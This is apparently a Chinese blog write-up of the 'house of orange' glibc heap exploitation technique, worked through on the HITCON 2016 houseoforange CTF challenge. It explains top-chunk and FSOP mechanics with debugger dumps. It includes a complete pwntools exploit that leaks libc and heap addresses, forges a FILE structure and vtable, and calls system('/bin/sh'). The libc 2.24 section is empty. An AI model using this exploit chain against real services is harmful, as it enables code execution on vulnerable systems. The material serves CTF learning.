Contents
  1. 1. house of orange
    1. 1.1. 利用环境
    2. 1.2. 原理
  2. 2. 例题:HITCON2016_house-of-orange
    1. 2.1. libc2.23及以前
      1. 2.1.1. 分析
      2. 2.1.2. 思路
        1. 2.1.2.1. File Stream Oriented Porgramming
    2. 2.2.
      1. 2.2.1. exp
    3. 2.3. 我无语了,今天一下脚本根本没有上传上去,全没了,只能先贴上官方的了
    4. 2.4. libc2.24
      1. 2.4.1. 思路
      2. 2.4.2. exp

emmm说起来这也算是house of orange这道题的wp了ovo

house of orange

利用环境

题目不存在free函数或无法利用free(其他)释放堆块的函数

原理

House of Orange核心就是通过漏洞利用获得free效果(即:没有free的情况下得到一个释放的堆块(unsorted bin))。

  • 如何在没有free的情况下得到unsorted bin?
    当前堆的top chunk尺寸不足以满足申请分配的大小的时候,原来的top chunk会被释放并被置入unsorted bin中,通过这一点可以在没有free函数情况下获取到unsorted bins。
    所以首先我们在_int_malloc函数中,依次检验fastbin、small bins、unsorted bin、large bins 是否满足分配要求,如果不符合,接下来就会试图使用top chunk,如果top chunk也不能满足分配的要求。
    说明ptmalloc已经不能满足用户申请堆内存的操作,需要执行sysmalloc来向系统申请更多的空间。
    但是堆有mmapbrk两种分配方式,我们需要让堆以brk的形式拓展,之后原有的top chunk就会被置于unsorted bin中。
  • 如何实现brk拓展top chunk?
    (需要绕过一些libc的check):所需分配的chunk的大小要[mp_.mmap_threshold(128K), mp_.n_mmaps_max)【查了一下这个一次能申请的最大的内存空间,一般malloc申请的达不到,所以对于CTFpwn可以不考虑】
    sysmalloc函数中会检查top chunk size的合法性,要求:

1.如果第一次调用,top chunk的old_size可能为0。
2.如果已经初始化,由于top chunk中含有fencepost,所以top chunk必须 > MINSIZE。
3.top chunk必须标识前一个chunk处于inuse状态
4.top chunk的结束地址必定是页对齐的。
5.top chunk除去foncepost的大小必定要小于所需chunk的大小

  • 如何将伪造的size对齐到内存页?
    一般内存页的大小是4kb,那么我们伪造的size就必须对齐到这个尺寸。
    eg:
    1
    2
    3
    4
    0x602000:   0x0000000000000000  0x0000000000000021
    0x602010: 0x0000000000000000 0x0000000000000000
    0x602020: 0x0000000000000000 0x0000000000020fe1 <== top chunk
    0x602030: 0x0000000000000000 0x0000000000000000

计算:0x602020+0x20fe0=0x623000 是对于0x1000(4kb)对齐的。所以我们伪造的fake_size可以是0x0fe1、0x1fe1、0x2fe1、0x3fe1 等对 4kb 对齐的 size。

综上,伪造top chunk size的要求为:

  1. 伪造的 size 必须要对齐到内存页
  2. size 要大于 MINSIZE(0x10)
  3. size 要小于之后申请的 chunk size + MINSIZE(0x10)
  4. size 的 prev inuse 位必须为 1

之后原有的 top chunk 就会执行_int_free从而顺利进入 unsorted bin 中。接下来的分配,如果size符合要求就会切割这个放入unsorted bin中的top chunk块。

众所周知,实践出真知。d=====( ̄▽ ̄*)b

例题:HITCON2016_house-of-orange

libc2.23及以前

分析

checksec

保护全开

ida
程序没有free函数,【也是在这道题中提出了house of orange利用方法】
upgrade函数中,可以重新定义name的大小,但是name的内存空间是在build的时候申请的,所以此处存在堆溢出。

顾名思义啦,就是用house of orange来做

思路

1.利用堆溢出修改top chunk的size(小于之后申请的size + 0x10)
2.调用sysmalloc执行free,使top chunk被free进入unsorted bin中。
3.申请large bin(因为malloc一个large bin ( >512B ))会将chunk自身的地址写到chunk的fd_nextsize和bk_nextsize),写入0x8泄露fd,写入0x10泄露fd_nextsize ==> 泄露libc和heap地址
4.利用unsorted bin attack实现任意地址写 ==> 改_IO_list_allmain_arena中top的位置【关于这点,可以在IO这篇笔记中查找_IO_list_all
5.调用system("/bin/sh")

File Stream Oriented Porgramming

rop即Retn Oriented Programming
FSOP即File stream Oriented Programming
这两种都是劫持程序流程的方法,只不过FSOP是通过攻击File Stream来实现
(以下【关于f函数调用的vtable函数过程,FSOP】的详情都可以查看IO_FILE structure used with “stream functions”)

vtable劫持的原理是:如果能够控制FILE结构体,实现对vtable指针的修改,使得vtable指向可控的内存,在该内存中构造好vtable,再通过调用相应IO函数,触发vtable函数的调用,即可劫持程序执行流。
修改vtable字段的方法:
1.只修改内存中已有的FILE结构体的vtable指针
2.伪造整个FILE结构体。

先新建一个chunk_house

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pwndbg> heap
0x55fab48b4000 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x55fab48b4070,
bk = 0x55fab48b4030,
fd_nextsize = 0x0,
bk_nextsize = 0x41
}
0x55fab48b4020 FASTBIN {
prev_size = 0,
size = 65,
fd = 0x6161616161616161, ==> name = 'a' * 8
bk = 0xa,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55fab48b4060 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x1f00000001,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20f81
}
0x55fab48b4080 PREV_INUSE {
prev_size = 0,
size = 135041,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

接下来进行改写top chunk

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x5593d5d73020
0x5593d5d73020: 0x0000000000000000 0x0000000000000041 ==> new name length
0x5593d5d73030: 0x6161616161616161 0x6161616161616161 ==> new name
0x5593d5d73040: 0x6161616161616161 0x6161616161616161
0x5593d5d73050: 0x6161616161616161 0x6161616161616161
0x5593d5d73060: 0x0000000000000000 0x0000000000000021 ==> fd_nextsize && bk_nextsize
0x5593d5d73070: 0x0000001f00000006 0x6161616161616161 ==> content
0x5593d5d73080: 0x0000000000000000 0x0000000000000021
0x5593d5d73090: 0x0000000000000000 0x0000000000000000
0x5593d5d730a0: 0x0000000000000000 0x0000000000000f81 ==> 改写top chunk size...我填的明明是0xfa1哇?//所以我这里需要改一下
0x5593d5d730b0: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
6
7
build(0x30,'a'*8,123,1)
# gdb.attach(p)

payload = 'a'*0x30 + p64(0) + p64(0x21) +'a'*16+ p64(0)+ p64(0xf80)
upgrade(len(payload),payload,123,2)

gdb.attach(p)

堆情况

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from time import sleep
import sys
context.binary = "./houseoforange"

elf = ELF("./houseoforange")
l = 0
if l:
io = process("./houseoforange")
libc = elf.libc
libc.sym["main_arena"] = 0x3c4b20
else:
io = process("./houseoforange")
libc = ELF("./libc.so.6")
libc.sym["main_arena"] = 0x3c3b20
# context.log_level = "debug"

def DEBUG():
info("malloc -> {:#x}".format(0xDA5))
info("build ret -> {:#x}".format(0xEE5))
info("printf -> {:#x}".format(0xF35))
info("read_n -> {:#x}".format(0x1119))
raw_input("DEBUG: ")

def build(length, name):
io.sendlineafter("choice : ", "1")
sleep(0.01)
io.sendlineafter("name :", str(length))
sleep(0.01)
io.sendafter("Name :", name)
sleep(0.01)
io.sendlineafter("Orange:", "1")
sleep(0.01)
io.sendlineafter("Orange:", str(0xddaa))
sleep(0.01)

def see():
io.sendlineafter("choice : ", "2")
sleep(0.01)

def upgrade(length, name):
io.sendlineafter("choice : ", "3")
sleep(0.01)
io.sendlineafter("name :", str(length))
sleep(0.01)
io.sendafter("Name:", name)
sleep(0.01)
io.sendlineafter("Orange:", "1")
sleep(0.01)
io.sendlineafter("Orange:", str(0xddaa))
sleep(0.01)

if __name__ == "__main__":
build(0x10, '0' * 0x10) # build 1
# overwrite top_chunk size
upgrade(0x40, flat('1' * 0x10, 0, 0x21, 0xddaa00000001, 0, 0, 0xfa1)) # upgrade 1

# trigger _int_free
build(0x1000, '2' * 0x1000) # build 2

# large bin
build(0x400, '33333333') # build 3
# leak libc
see()
io.recvuntil("33333333")
libc.address = u64(io.recvuntil("\x7f")[-6: ] + '\0\0') - 1640 - libc.sym['main_arena']
success("libc -> {:#x}".format(libc.address))
_IO_list_all = libc.sym['_IO_list_all']
success("_IO_list_all -> {:#x}".format(_IO_list_all))
pause()

# leak heap
upgrade(0x10, '4' * 0x10) # upgrade 2
see()
io.recvuntil('4' * 0x10)
heapbase = u64(io.recvn(6) + '\0\0') - 0xc0
success("heapbase -> {:#x}".format(heapbase))
pause()

fake_file = flat("/bin/sh\0", 0x61)
fake_file += flat(0xdeadbeef, _IO_list_all - 0x10) # unsorted bin -> fd/bk
fake_file += flat(0, 1) # _IO_write_base; _IO_write_ptr
fake_file = fake_file.ljust(0xc0, '\0')
fake_file += p64(0) # mode <= 0

payload = flat('5' * 0x400, 0, 0x21, 0xddaa00000001, 0)
payload += fake_file
payload += flat(0, 0, heapbase + 0x5d0) # 0xc8, 0xd0, vtable
# forge vtable
fake_vtable = flat(0, 0, 0, libc.sym['system']) # __dummy, __dummy2, __finish, __overflow
payload += fake_vtable

upgrade(0x800, payload)
sleep(0.01)

# DEBUG()
io.sendlineafter("choice : ", "1")

io.interactive()

我的脚本有问题…但是没有得到解决。recvuntil的字符串却在下一次recv接收,不知道问题出现在哪里…
10.30更
得到了解决,感谢梦哥带我一步步调试,sendline多发送一个’\n’,所以我build的时候申请的空间应该大一些,不能直接用len(),还有recv字符串的时候空格问题下次要仔细,再次感谢梦哥的帮助。

下面的libc2.24后面继续…

我无语了,今天一下脚本根本没有上传上去,全没了,只能先贴上官方的了

libc2.24

思路

exp

以上参考
CTF-wiki
IO FILE学习笔记—veritas501
zs0zrc house_of_orange
看雪 堆溢出-house of orange
IO FILE 之劫持vtable及FSOP
【CTF攻略】CTF Pwn之创造奇迹的Top Chunk